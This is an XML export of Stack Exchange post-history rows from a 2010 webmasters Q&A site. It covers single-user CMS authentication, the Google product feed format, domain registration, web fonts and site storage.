  <row Id="12938" PostHistoryTypeId="2" PostId="6474" RevisionGUID="40ce36a0-65ab-4e95-a8fb-69946d7888cf" CreationDate="2010-12-08T12:51:56.370" UserId="2827" Text="**Background:** My client needs a ***one-user*** bare-bones content management system, which should be capable to&#xD;&#xA;&#xD;&#xA;- Edit text-content in plain-text or in WYSIWYG-style&#xD;&#xA;- Possibly create new subpages&#xD;&#xA;- Update image gallery, ie. upload files&#xD;&#xA;- Delete previously uploaded files&#xD;&#xA;&#xD;&#xA;No need for commenting or such interaction.&#xD;&#xA;&#xD;&#xA;Requirements:&#xD;&#xA;&#xD;&#xA;- PHP&#xD;&#xA;- JavaScript&#xD;&#xA;- ***No database***&#xD;&#xA;&#xD;&#xA;Currently I'm planning to code it from scratch, since the functionalities are somewhat basic.&#xD;&#xA;&#xD;&#xA;What is the best available authentication method for this lone content admin? Options that came to my mind first:&#xD;&#xA;&#xD;&#xA;1. .htaccess &amp; .htpasswd based solution&#xD;&#xA;2.  hard-coded, salted, encrypted PHP password with sessions.&#xD;&#xA;&#xD;&#xA;While option 2 is definitely more elegant, I wish the option 1 would suffice. The username &amp; password combo would be located outside the public_html / www -folder structure.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Real question:** Is .htaccess &amp; .htpasswd authentication sufficient? Is it adequate security-wise? What are the possible pitfalls? (Okay, logout is one rather major pitfall, since it's practically impossible to implement due to stateless HTTP/1.1 specification...)&#xD;&#xA;&#xD;&#xA;**Bonus question 1:** What are the other good options that I didn't think of? Out of the box ideas are always welcome. Email-editing? Why not :-)&#xD;&#xA;&#xD;&#xA;**Bonus question 2:** Are there similar databaseless CMSes readily available?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Please bear in mind there is no need for more users nor user-management. I'm not asking programming tips but rather concepts how it could be done." />
  <row Id="12939" PostHistoryTypeId="1" PostId="6474" RevisionGUID="40ce36a0-65ab-4e95-a8fb-69946d7888cf" CreationDate="2010-12-08T12:51:56.370" UserId="2827" Text="One-user databaseless CMS authentication" />
  <row Id="12940" PostHistoryTypeId="3" PostId="6474" RevisionGUID="40ce36a0-65ab-4e95-a8fb-69946d7888cf" CreationDate="2010-12-08T12:51:56.370" UserId="2827" Text="&lt;php&gt;&lt;cms&gt;&lt;htaccess&gt;&lt;authentication&gt;&lt;users&gt;" />
  <row Id="12941" PostHistoryTypeId="2" PostId="6475" RevisionGUID="66a6dc7e-8691-4d13-9a69-3a0d7ad4f6fa" CreationDate="2010-12-08T13:02:54.527" UserId="3307" Text="If there's only one user, then some sort of HTTP authentication will be fine. I would suggest using Digest rather than Basic authentication. I know you weren't looking for programming tips, but you could probably save yourself a fair bit of time by reading [this][1].&#xD;&#xA;&#xD;&#xA;A couple of database-less CMSes are as follows:&#xD;&#xA;&#xD;&#xA; - [CMS From Scratch][2] &#xD;&#xA; - [gpEasy][3] (there's a howto install [here][4])&#xD;&#xA; - [PHP Nanomus][5] &#xD;&#xA; - [RazorCMS][6]&#xD;&#xA;&#xD;&#xA;  [1]: http://php.net/manual/en/features.http-auth.php&#xD;&#xA;  [2]: http://cmsfromscratch.com/&#xD;&#xA;  [3]: http://www.gpeasy.com&#xD;&#xA;  [4]: http://www.makeuseof.com/tag/gpeasy-simple-cms-no-database/&#xD;&#xA;  [5]: http://www.php-nanomus.org/&#xD;&#xA;  [6]: http://www.razorcms.co.uk/" />
  <row Id="12942" PostHistoryTypeId="2" PostId="6476" RevisionGUID="55e99b5c-0ca8-4381-bedd-4d1c80adfd3a" CreationDate="2010-12-08T13:49:08.280" UserId="1918" Text="Where is the specification for the file format for building data feeds to populate Google's Product Search (neé Froogle)?&#xD;&#xA;&#xD;&#xA;When I follow the links from product search, it guides me through setting up a merchant account (fair enough), and then asks me to specify the filename, but it does not tell me what format that file should be in, or ask for any location information as to where to retrieve it from?" />
  <row Id="12943" PostHistoryTypeId="1" PostId="6476" RevisionGUID="55e99b5c-0ca8-4381-bedd-4d1c80adfd3a" CreationDate="2010-12-08T13:49:08.280" UserId="1918" Text="Where is the data format for Google's Product search data feeds specified?" />
  <row Id="12944" PostHistoryTypeId="3" PostId="6476" RevisionGUID="55e99b5c-0ca8-4381-bedd-4d1c80adfd3a" CreationDate="2010-12-08T13:49:08.280" UserId="1918" Text="&lt;untagged&gt;" />
  <row Id="12945" PostHistoryTypeId="2" PostId="6477" RevisionGUID="45fc9689-44b6-479c-a713-08fdeea32b80" CreationDate="2010-12-08T14:06:56.897" UserId="3739" Text="Here is a link to the overview: &#xD;&#xA;http://www.google.com/support/merchants/bin/answer.py?hl=en&amp;answer=188478&#xD;&#xA;&#xD;&#xA;Here is a link to the specific xml you need: &#xD;&#xA;http://www.google.com/support/merchants/bin/answer.py?answer=188494&#xD;&#xA;&#xD;&#xA;Here is some sample xml that google hands out: &#xD;&#xA;&#xD;&#xA;    &lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;&#xD;&#xA;    &lt;feed xmlns=&quot;http://www.w3.org/2005/Atom&quot; xmlns:g=&quot;http://base.google.com/ns/1.0&quot;&gt;&#xD;&#xA;    	&lt;title&gt;The name of your data feed.&lt;/title&gt;&#xD;&#xA;    	&lt;link rel=&quot;self&quot; href=&quot;http://www.example.com&quot;/&gt;&#xD;&#xA;    	&lt;updated&gt;2006-06-11T18:30:02Z&lt;/updated&gt;&#xD;&#xA;    	&lt;author&gt;&#xD;&#xA;    		&lt;name&gt;The name of the author.&lt;/name&gt;&#xD;&#xA;    	&lt;/author&gt;&#xD;&#xA;    	&lt;id&gt;tag:example.com,2006-06-11:/support/products&lt;/id&gt;&#xD;&#xA;    &lt;entry&gt;&#xD;&#xA;    &lt;title&gt;Red wool sweater&lt;/title&gt;&#xD;&#xA;    &lt;g:brand&gt;Acme&lt;/g:brand&gt;&#xD;&#xA;    &lt;g:condition&gt;new&lt;/g:condition&gt;&#xD;&#xA;    &lt;summary&gt;Comfortable and soft, this sweater will keep you warm on those cold winter nights.&lt;/summary&gt;&#xD;&#xA;    &lt;id&gt;1&lt;/id&gt;&#xD;&#xA;    &lt;g:image_link&gt;http://www.example.com/image1.jpg&lt;/g:image_link&gt;&#xD;&#xA;    &lt;link href=&quot;http://www.example.com/item1-info-page.html&quot;/&gt;&#xD;&#xA;    &lt;g:mpn&gt;ABC123&lt;/g:mpn&gt;&#xD;&#xA;    &lt;g:price&gt;25&lt;/g:price&gt;&#xD;&#xA;    &lt;g:product_type&gt;Clothing &amp;amp; Accessories &amp;gt; Clothing &amp;gt; Outerwear &amp;gt; Sweaters&lt;/g:product_type&gt;&#xD;&#xA;    &lt;g:quantity&gt;3&lt;/g:quantity&gt;&#xD;&#xA;    &lt;g:shipping&gt;&#xD;&#xA;       &lt;g:country&gt;US&lt;/g:country&gt;&#xD;&#xA;       &lt;g:region&gt;MA&lt;/g:region&gt;&#xD;&#xA;       &lt;g:service&gt;Ground&lt;/g:service&gt;&#xD;&#xA;       &lt;g:price&gt;5.95&lt;/g:price&gt;&#xD;&#xA;    &lt;/g:shipping&gt;&#xD;&#xA;    &lt;g:shipping&gt;&#xD;&#xA;       &lt;g:country&gt;US&lt;/g:country&gt;&#xD;&#xA;       &lt;g:region&gt;024*&lt;/g:region&gt;&#xD;&#xA;       &lt;g:service&gt;Ground&lt;/g:service&gt;&#xD;&#xA;       &lt;g:price&gt;7.95&lt;/g:price&gt;&#xD;&#xA;    &lt;/g:shipping&gt;&#xD;&#xA;    &lt;g:tax&gt;&#xD;&#xA;       &lt;g:country&gt;US&lt;/g:country&gt;&#xD;&#xA;       &lt;g:region&gt;CA&lt;/g:region&gt;&#xD;&#xA;       &lt;g:rate&gt;8.25&lt;/g:rate&gt;&#xD;&#xA;       &lt;g:tax_ship&gt;y&lt;/g:tax_ship&gt;&#xD;&#xA;    &lt;/g:tax&gt;&#xD;&#xA;    &lt;g:tax&gt;&#xD;&#xA;       &lt;g:country&gt;US&lt;/g:country&gt;&#xD;&#xA;       &lt;g:region&gt;926*&lt;/g:region&gt;&#xD;&#xA;       &lt;g:rate&gt;8.75&lt;/g:rate&gt;&#xD;&#xA;       &lt;g:tax_ship&gt;y&lt;/g:tax_ship&gt;&#xD;&#xA;    &lt;/g:tax&gt;&#xD;&#xA;    &lt;g:upc&gt;0001230001232&lt;/g:upc&gt;&#xD;&#xA;    &lt;g:weight&gt;0.1 lb&lt;/g:weight&gt;&#xD;&#xA;    &lt;/entry&gt;&#xD;&#xA;    &lt;/feed&gt;&#xD;&#xA;&#xD;&#xA;Hope this helps!" />
  <row Id="12946" PostHistoryTypeId="5" PostId="6474" RevisionGUID="75c00a50-f012-4e7f-89a3-f344a660fcff" CreationDate="2010-12-08T15:16:31.207" UserId="2827" Comment="added 160 characters in body" Text="**Background:** My client needs a ***one-user*** bare-bones content management system, which should be capable to&#xD;&#xA;&#xD;&#xA;- Edit text-content in plain-text or in WYSIWYG-style&#xD;&#xA;- Possibly create new subpages&#xD;&#xA;- Update image gallery, ie. upload files&#xD;&#xA;- Delete previously uploaded files&#xD;&#xA;&#xD;&#xA;No need for commenting or such interaction.&#xD;&#xA;&#xD;&#xA;Requirements:&#xD;&#xA;&#xD;&#xA;- PHP&#xD;&#xA;- JavaScript&#xD;&#xA;- ***No database***&#xD;&#xA;&#xD;&#xA;Currently I'm planning to code it from scratch, since the functionalities are somewhat basic.&#xD;&#xA;&#xD;&#xA;What is the best available authentication method for this lone content admin? Options that came to my mind first:&#xD;&#xA;&#xD;&#xA;1. .htaccess &amp; .htpasswd based solution&#xD;&#xA;2.  hard-coded, salted, encrypted PHP password with sessions.&#xD;&#xA;&#xD;&#xA;While option 2 is definitely more elegant, I wish the option 1 would suffice. The username &amp; password combo would be located outside the public_html / www -folder structure.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Real question:** Is .htaccess &amp; .htpasswd authentication sufficient? Is it adequate security-wise? What are the possible pitfalls? (Okay, logout is one rather major pitfall, since it's practically impossible to implement due to stateless HTTP/1.1 specification...)&#xD;&#xA;&#xD;&#xA;**Bonus question 1:** What are the other good options that I didn't think of? Out of the box ideas are always welcome. Email-editing? Why not :-)&#xD;&#xA;&#xD;&#xA;**Bonus question 2:** Are there similar databaseless CMSes readily available?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Please bear in mind there is no need for more users nor user-management. I'm not asking programming tips but rather concepts how it could be done.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**&lt;a href=&quot;http://www.faqs.org/rfcs/rfc2617.html&quot;&gt;The RFC 2617&lt;/a&gt;, which I found through Piers' link below, answers the most of my *real question***" />
  <row Id="12947" PostHistoryTypeId="2" PostId="6478" RevisionGUID="cfe7f0b5-cbd7-41dd-8e2d-34937d98179f" CreationDate="2010-12-08T15:53:47.137" UserId="3374" Text="I have completed my project in zend framework for the first time. But I don't know how to include zend library in webhost. So, I uploaded(uploading) zend library about 24MB in my library folder. Can this be done without it? Or if there is any better solution or suggestion?" />
  <row Id="12948" PostHistoryTypeId="1" PostId="6478" RevisionGUID="cfe7f0b5-cbd7-41dd-8e2d-34937d98179f" CreationDate="2010-12-08T15:53:47.137" UserId="3374" Text="how to include zend library while uploading?" />
  <row Id="12949" PostHistoryTypeId="3" PostId="6478" RevisionGUID="cfe7f0b5-cbd7-41dd-8e2d-34937d98179f" CreationDate="2010-12-08T15:53:47.137" UserId="3374" Text="&lt;uploading&gt;" />
  <row Id="12950" PostHistoryTypeId="2" PostId="6479" RevisionGUID="0a4d72b0-40a7-426d-92a0-47b7055297a2" CreationDate="2010-12-08T17:13:32.023" UserId="1064" Text="&gt; What should I look for when searching&#xD;&#xA;&gt; for a designer?&#xD;&#xA;&#xD;&#xA;Look at designers' portfolios and (possibly) look up the designers of other sites which demonstrate the style and functionality you're after.&#xD;&#xA;&#xD;&#xA;&gt; What are good price indications[?]&#xD;&#xA;&#xD;&#xA;Strong, distinctive visual design is *rarely* inexpensive.&#xD;&#xA;&#xD;&#xA;Given that you effectively have two requirements - artistic design and usable web implementation - you might consider having a graphic artist put together a layered PSD and then contracting a web designer for implementation as Kris suggested. (in my experience, that gives you more artists to choose from and you'll end up spending less on web design than you would if you were paying the same person to do both)&#xD;&#xA;&#xD;&#xA;&gt; How can I tell if the designer knows&#xD;&#xA;&gt; about usability and can deliver what I&#xD;&#xA;&gt; want?&#xD;&#xA;&#xD;&#xA;Let artists' and designers' portfolios speak on this point.&#xD;&#xA;&#xD;&#xA;&gt; Can I ask him to give me a first draft&#xD;&#xA;&gt; (for a small payment of course) to see&#xD;&#xA;&gt; if he fits the bill?&#xD;&#xA;&#xD;&#xA;It is typical to have several mockups put together before a final composition is selected, however, most artists will expect to be paid their full rate - this is, again, why it is important to narrow down which artist you'll work with by looking over portfolio material." />
  <row Id="12951" PostHistoryTypeId="2" PostId="6480" RevisionGUID="1d9e1e03-82b8-4c53-aff9-88eab16d9b5c" CreationDate="2010-12-08T17:30:55.367" UserDisplayName="JP19" Text="There are many services that submit your website to multiple search engines. Are there are that allow you to easily submit *multiple* websites to multiple search engines?&#xD;&#xA;&#xD;&#xA;regards,&#xD;&#xA;&#xD;&#xA;JP" />
  <row Id="12952" PostHistoryTypeId="1" PostId="6480" RevisionGUID="1d9e1e03-82b8-4c53-aff9-88eab16d9b5c" CreationDate="2010-12-08T17:30:55.367" UserDisplayName="JP19" Text="Submitting multiple websites to search engines" />
  <row Id="12953" PostHistoryTypeId="3" PostId="6480" RevisionGUID="1d9e1e03-82b8-4c53-aff9-88eab16d9b5c" CreationDate="2010-12-08T17:30:55.367" UserDisplayName="JP19" Text="&lt;search-engines&gt;&lt;link-submission&gt;" />
  <row Id="12954" PostHistoryTypeId="2" PostId="6481" RevisionGUID="075aa309-a0eb-4945-8240-dccab75fa83f" CreationDate="2010-12-08T17:38:07.903" UserId="233" Text="I don't know of any, however, you will be putting different information each time you submit a site, so it's kind of a non-question. I mean, you have to type out all the information for each site so it makes no difference if you submit one at a time or all at once.&#xD;&#xA;&#xD;&#xA;To be honest, you don't need to submit your site to *any* search engines; it's generally regarded as a waste of time. All you need is at least one link (not nofollow) to your site, and the search engines will find and index it just fine. You can also cross-link your sites if they are relevant to each other." />
  <row Id="12955" PostHistoryTypeId="2" PostId="6482" RevisionGUID="ae383815-e4f6-47de-a996-ccee7f869a93" CreationDate="2010-12-08T17:46:23.423" UserId="233" Text="Some hosts have the Zend Framework installed on the server as a PHP extension. But most likely you will need to upload the framework yourself. I'm not too familiar with Zend or its structure but it may be possible to only upload the libraries that you are using in your application and skip the ones you are not using to save time/space." />
  <row Id="12956" PostHistoryTypeId="2" PostId="6483" RevisionGUID="2c568598-add9-492f-982f-ade267a4da11" CreationDate="2010-12-08T17:50:47.430" UserId="233" Text="[SEOmoz's Rank Tracker][1] is useful for some basic reporting. You can check up to 5 searches each day on the free account.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.seomoz.org/rank-tracker" />
  <row Id="12957" PostHistoryTypeId="2" PostId="6484" RevisionGUID="37d301d3-96aa-46c4-9867-278c7208e507" CreationDate="2010-12-08T17:55:22.063" UserId="908" Text="On the front page of a site I'm working on there's a small slideshow. It's not for pictures in particular, any content can go in, and I'm currently setting up the editing interface for the client. I'd like to be able to have one/two/more columns, and ideally that would be via CSS - does anyone know of a WYSIWYG editor that supports this? I'm using Drupal (would prefer not to involve Panels as it would require a bit of work to make it a streamlined workflow for content entry) in case that matters to anyone." />
  <row Id="12958" PostHistoryTypeId="1" PostId="6484" RevisionGUID="37d301d3-96aa-46c4-9867-278c7208e507" CreationDate="2010-12-08T17:55:22.063" UserId="908" Text="How to support tableless columns with WYSIWYG editor?" />
  <row Id="12959" PostHistoryTypeId="3" PostId="6484" RevisionGUID="37d301d3-96aa-46c4-9867-278c7208e507" CreationDate="2010-12-08T17:55:22.063" UserId="908" Text="&lt;css&gt;&lt;drupal&gt;&lt;wysiwyg&gt;&lt;tableless&gt;" />
  <row Id="12960" PostHistoryTypeId="2" PostId="6485" RevisionGUID="bddc50c6-93af-40c7-aefe-12b9ea333187" CreationDate="2010-12-08T18:13:18.350" UserId="1188" Text="I'm currently looking to register the Taiwanese version of my company's domain. Dynadot, doesn't register domains with that extension. I found a few places on the web: Godaddy has them, and a fewer smaller, shadier places claim to have them, but they start at $39.99/year which seems a bit outrageous. Has anyone found a more affordable, reliable registration company for .tw domains?  " />
  <row Id="12961" PostHistoryTypeId="1" PostId="6485" RevisionGUID="bddc50c6-93af-40c7-aefe-12b9ea333187" CreationDate="2010-12-08T18:13:18.350" UserId="1188" Text="Where can I register .tw domain extensions?" />
  <row Id="12962" PostHistoryTypeId="3" PostId="6485" RevisionGUID="bddc50c6-93af-40c7-aefe-12b9ea333187" CreationDate="2010-12-08T18:13:18.350" UserId="1188" Text="&lt;domains&gt;&lt;domain-names&gt;&lt;domain-registration&gt;" />
  <row Id="12963" PostHistoryTypeId="2" PostId="6486" RevisionGUID="95a84fcb-8e3c-49a6-bd3b-d450e2647da7" CreationDate="2010-12-08T18:32:51.920" UserId="3142" Text="Be aware that coming from diverse backgrounds or skillsets you often times will use different language or infer different meanings inside the same conversation. This is a contributing factor to becoming frustrated with each other.&#xD;&#xA;&#xD;&#xA;You can overcome this by:&#xD;&#xA;&#xD;&#xA; - maintain an awareness of your&#xD;&#xA;   differences&#xD;&#xA; - attempt to meet in&#xD;&#xA;   person whenever possible. Being able&#xD;&#xA;   to read a persons body language gives&#xD;&#xA;   you the cues you need to know that&#xD;&#xA;   they really Get what you mean.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The orientation I refer to is analogous to points made in the book [Men are from Mars and Women are from Venus][1], but not (necessarily) due to gender difference.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.amazon.com/Men-Mars-Women-Venus-Understanding/dp/0060574216/" />
  <row Id="12964" PostHistoryTypeId="2" PostId="6487" RevisionGUID="1ea7d085-a7f1-4913-b58b-2885d888dc7e" CreationDate="2010-12-08T18:55:50.410" UserId="3142" Text="Make sure you take advantage of parameter handling in Google Webmaster tools. True, it is better to have friendly URLs by the way of a URL Rewriter, but until you're ready to deploy that (there are probably higher priority issues), it's good to make sure that Google knows what your parameters are and has them marked properly.&#xD;&#xA;&#xD;&#xA;See my picture pasted below.&#xD;&#xA;&#xD;&#xA;For example, you might tell it to ignore a parameter that carries a session or user related value (look at Amazon URLs for an example -- non-essential items can be ignored by the spider).&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/Aln4g.jpg" />
  <row Id="12966" PostHistoryTypeId="2" PostId="6488" RevisionGUID="5dbcf6b3-3575-4f40-8ae7-2d6121278ac1" CreationDate="2010-12-08T19:49:29.823" UserId="693" Text="I am creating a website / web application where companies can do there accounting. It is sort of a alternative to the regular desktop accounting program.&#xD;&#xA;&#xD;&#xA;I want the application to have a look and feel of a normal desktop application, and not of a traditional websites.&#xD;&#xA;&#xD;&#xA;What kind of font and font-size do you think comes close to the traditional desktop application.&#xD;&#xA;&#xD;&#xA;I am styling in CSS." />
  <row Id="12967" PostHistoryTypeId="1" PostId="6488" RevisionGUID="5dbcf6b3-3575-4f40-8ae7-2d6121278ac1" CreationDate="2010-12-08T19:49:29.823" UserId="693" Text="What do you think is a possessional looking font for a web application" />
  <row Id="12968" PostHistoryTypeId="3" PostId="6488" RevisionGUID="5dbcf6b3-3575-4f40-8ae7-2d6121278ac1" CreationDate="2010-12-08T19:49:29.823" UserId="693" Text="&lt;html&gt;&lt;css&gt;" />
  <row Id="12969" PostHistoryTypeId="2" PostId="6489" RevisionGUID="b0ad36a6-f022-4a41-a690-b020d9ec35ca" CreationDate="2010-12-08T19:56:51.597" UserId="1647" Text="The `.tw` domain is quite expensive. You won't probably be able to buy a `.tw` domain for less that 40$/year.&#xD;&#xA;&#xD;&#xA;The only provider I found cheaper than GoDaddy and equally famous is [name.com][1].&#xD;&#xA;You can buy a `.tw` domain for 34$.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.name.com/" />
  <row Id="12970" PostHistoryTypeId="2" PostId="6490" RevisionGUID="8bc248fc-9a40-4d54-98c1-b3a7b5c06cfb" CreationDate="2010-12-08T20:31:22.033" UserId="2293" Text="This is a strange question.&#xD;&#xA;&#xD;&#xA;First because every desktop environment has its own look and feel. Windows XP != Windows Vista != Windows 7 != Mac OS X != Gnome != KDE....&#xD;&#xA;&#xD;&#xA;Also, I know mny people who for example use Windows XP with &quot;Desert&quot; theme. And yes, this provides another look and feel. Despite detecting client OS is possible, detecting its current look and feel isn't. And this is what makes your life hard from now on.&#xD;&#xA;&#xD;&#xA;But I think I know what you need. You wanna make a site like http://4shared.com, with a desktop look and feel. Well... that's the reference then. Go there and grab their CSS." />
  <row Id="12971" PostHistoryTypeId="2" PostId="6491" RevisionGUID="d67a22b5-bc2d-476c-99ef-ca527d91a551" CreationDate="2010-12-08T20:58:59.850" UserDisplayName="Matt" Text="There are a bunch of very similar RE search sites out there. I would not be surprised if a lot of them started out from the same code base. Does anyone know if these are all custom built, or if some of them spawn from a common code base?&#xD;&#xA;&#xD;&#xA;www.estately.com&#xD;&#xA;&#xD;&#xA;www.sawbuck.com&#xD;&#xA;&#xD;&#xA;www.movoto.com&#xD;&#xA;&#xD;&#xA;www.windermere.com&#xD;&#xA;&#xD;&#xA;www.homes.com&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="12972" PostHistoryTypeId="1" PostId="6491" RevisionGUID="d67a22b5-bc2d-476c-99ef-ca527d91a551" CreationDate="2010-12-08T20:58:59.850" UserDisplayName="Matt" Text="Common web app code base" />
  <row Id="12973" PostHistoryTypeId="3" PostId="6491" RevisionGUID="d67a22b5-bc2d-476c-99ef-ca527d91a551" CreationDate="2010-12-08T20:58:59.850" UserDisplayName="Matt" Text="&lt;code&gt;" />
  <row Id="12974" PostHistoryTypeId="2" PostId="6492" RevisionGUID="6cd89b30-6717-4b4d-94e9-795cef0d8d86" CreationDate="2010-12-08T20:59:18.660" UserId="3718" Text="I think you should consider whether the font is easy to read, more than looks professional. I don't mean use Comic Sans for everything, because it would make it look amateurish and basically look like it was intended for school kids.&#xD;&#xA;&#xD;&#xA;A font like Helvetica is easy to read and looks stylish, and I'm starting to use this font for most of my websites (which I like to think are professional looking). But aside from the font, you need to consider how the design looks, and whether the design itself (like colours and layout etc). A poor design can negate the effect a font has. A font used by say the BBC for it's news website, might look out of place on a website such as the Cartoon Networks website. And vice-versa.&#xD;&#xA;&#xD;&#xA;A font like Helvetica or even Georgia are professional looking, but you need to remember what the actual design of your site is like. If the design isn't professional enough, the font won't even matter." />
  <row Id="12975" PostHistoryTypeId="2" PostId="6493" RevisionGUID="386a54cd-eaad-4fa8-8e58-20ce351cd4ee" CreationDate="2010-12-08T21:01:07.137" UserId="3142" Text="This answer won't point you directly to a specific recommendation, but I would like to point out to you that there are fonts which are designed for use on computer screens. What makes them different than other fonts is that they lack detailing that would be either lost or non-gracefully degrading when limited by two important factors of the screen:&#xD;&#xA;&#xD;&#xA; - low resolution (especially compared to print, such as 72+ dpi versus 600+ dpi)&#xD;&#xA; - small size -- given that apps will typically display type in the range of 10-12 points&#xD;&#xA;&#xD;&#xA;The standard-bearer for this was set with the Macintosh which had some fonts intended for the screen and not for print:&#xD;&#xA;&#xD;&#xA; - Chicago, a bold font for menus&#xD;&#xA; - Geneva, a sans-serif font for on-screen use&#xD;&#xA; - New York, a serif font for on-screen use&#xD;&#xA; - Monaco, a fixed width font for on-screen use&#xD;&#xA;&#xD;&#xA;I seem to recall that even when the proliferation of outline or vector based fonts came about (via True Type, but Postscript with Adobe Type Manager was a common standard prior to that), there was an insistence by some that the on-screen fonts should be just that. Eventually, though, there were outline versions released for those fonts.&#xD;&#xA;&#xD;&#xA;The rule of thumb was that city-named fonts were for on-screen use, and the other fonts (Times, Helvetica, etc.) were for print. Fonts for on screen were available to the operating system at various, common point sizes and there was not a standard system of smoothly scaling the type outside of the point sizes contained in the system (again, excepting Adobe Type Manager or &quot;ATM&quot; and PostScript, and later, True Type).&#xD;&#xA;&#xD;&#xA;So if we pay homage to history, the takeaways are this:&#xD;&#xA;&#xD;&#xA; - Choose something that gracefully scales down in size and resolution&#xD;&#xA; - Ideally, pick a font that was designed *for* the limitations of video screens&#xD;&#xA;&#xD;&#xA;In 2010 Adobe partnered with [Typekit][1] to improve some of it's very established typefaces, modifying them for today's on-screen capabilities (improved DPI, antialiasing, and vector based rendering). That partnership has made available over 500 type **faces** (not quite the same 1:1 as &quot;fonts&quot;).&#xD;&#xA;&#xD;&#xA;(If you care, see &quot;[What's the difference between a font and a typeface?][2]&quot;)&#xD;&#xA;&#xD;&#xA;Using Typekit, you can very affordably license the use of the standard maker's well accepted fonts. There are over 500 faces in the library (not all are Adobe sourced), containing such well used fonts like Myriad Pro. Personally, I'd steer you toward choosing three types of faces:&#xD;&#xA;&#xD;&#xA; 1. a &quot;Heavy&quot; weight for top-most menus, and alertbox titles (possibly Heavy and Condensed)&#xD;&#xA; 2. a Sans Serif font for other non-user generated UI text, two weights: bold and medium&#xD;&#xA; 3. a Serif or Slab Serif font, one that might even been meant to complement your choice of Sans Serif fonts (sometimes similarly named, sometimes it's just suggested as a complement) -- this, I'd use for larger passages of text and or the text that is entered by the end user&#xD;&#xA;&#xD;&#xA;Here is a link to the Adobe fonts on Typekit, you can't go wrong with using this as your selection pool:&#xD;&#xA;&#xD;&#xA;http://typekit.com/foundries/adobe/fonts/&#xD;&#xA;&#xD;&#xA;Personally, I like:&#xD;&#xA;&#xD;&#xA; - News Gothic Std, bold&#xD;&#xA; - Myriad Pro Semi Condensed, light or regular&#xD;&#xA; - Minion Pro, regular&#xD;&#xA;&#xD;&#xA;(respective of the order of the categories I mentioned earlier)&#xD;&#xA;&#xD;&#xA;  [1]: http://typekit.com/libraries/full&#xD;&#xA;  [2]: http://www.will-harris.com/font_vs_typeface.html" />
  <row Id="12976" PostHistoryTypeId="2" PostId="6494" RevisionGUID="ababea26-d911-4556-b370-5048bab4fddc" CreationDate="2010-12-08T21:05:17.030" UserId="2293" Text="I agree with previous (Chris Lively and Lèse majestè) answers. And also I found the link you provide very cool.&#xD;&#xA;&#xD;&#xA;But let's go to my answer. I think you should make it in your own way. There are many resources you can use. I will cite mine.&#xD;&#xA;&#xD;&#xA;While I was developing my own framework and generators, the need to have a UI framework become evident, hence all classes and ids on HTML templates were being generated automatically.&#xD;&#xA;&#xD;&#xA;Then after studying commom patterns I used, I've made my own CSS UI Utility (as well as some JS utilities). The key point in my approach is using many different classes.&#xD;&#xA;&#xD;&#xA;.required, .relaxed, .warning, .error, .success, .roundedBox, .gradient, .white70 [rgba(255,255,255,0.7)], .black30, .padded, are some examples.&#xD;&#xA;&#xD;&#xA;on the HTML side: &lt;element class=&quot;success white70 roundedBox&quot;&gt;&#xD;&#xA;&#xD;&#xA;Also, it is implemented over 960 grid, and has many other utilities, like @font-face kits. In fact, this leads me with just a few work. Adding correct classes, and perhaps making some minor adjustments for each project.&#xD;&#xA;&#xD;&#xA;Along with multiple classes, the other core point is to ensure everything keep binded to a black-white-gray schema, working with opacities. This is for reduce code changes needed for each project, hence each project usually has its own color schema." />
  <row Id="12977" PostHistoryTypeId="2" PostId="6495" RevisionGUID="144a1864-0187-46d2-b31a-5e94ee02a066" CreationDate="2010-12-08T20:29:40.373" UserDisplayName="Thomas" Text="I'm building a photo-collection/gallery sharing web-app.&#xD;&#xA;&#xD;&#xA;I need to know what I should consider for storage. I only have a few gb on my website. And it's not possible for me to get the amount of storage I need, the same place I have my website.&#xD;&#xA;&#xD;&#xA;Would it make sense to use a cloud-service for this purpose? Is it possible to use some online storage service like hotfile or the likes? What would be best? I'm thinking at least 20-30 gb of space is needed.&#xD;&#xA;&#xD;&#xA;Thanks in advance." />
  <row Id="12978" PostHistoryTypeId="1" PostId="6495" RevisionGUID="144a1864-0187-46d2-b31a-5e94ee02a066" CreationDate="2010-12-08T20:29:40.373" UserDisplayName="Thomas" Text="What should I use for storage for a photo-sharing website" />
  <row Id="12979" PostHistoryTypeId="3" PostId="6495" RevisionGUID="144a1864-0187-46d2-b31a-5e94ee02a066" CreationDate="2010-12-08T20:29:40.373" UserDisplayName="Thomas" Text="&lt;websites&gt;&lt;storage&gt;" />
  <row Id="12980" PostHistoryTypeId="17" PostId="6495" RevisionGUID="a92760cb-527e-40ed-b847-ed533d9c3910" CreationDate="2010-12-08T21:09:59.340" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/10133/what-should-i-use-for-storage-for-a-photo-sharing-website" Text="" />
  <row Id="12981" PostHistoryTypeId="2" PostId="6496" RevisionGUID="2ee56b5a-7c4b-4485-b626-dd9a06165769" CreationDate="2010-12-08T21:12:29.067" UserId="3142" Text="No. They aren't all from the same code base.&#xD;&#xA;&#xD;&#xA;Interestingly, at least two of them are ColdFusion based: the Windermere one and the homes.com one. The URL schema is very different, though. I think the homes.com one may be using a ColdFusion framework (Fusebox?), but maybe the Windermere one is not.&#xD;&#xA;&#xD;&#xA;In contrast the movoto.com site uses ASP.NET (.aspx), as is sawbuck.com. They're very different from each other, structure-wise.&#xD;&#xA;&#xD;&#xA;I could not determine (quickly) what Estately is using. FWIW, I thought their site was more polished and quite modern in comparison to the others.&#xD;&#xA;&#xD;&#xA;If there is a common thread, it's the data. There are a number of APIs they could be using that are common, despite the lack of commonality in the programming. Here is a site that lists web API available for consumption:&#xD;&#xA;&#xD;&#xA;http://www.programmableweb.com/&#xD;&#xA;" />
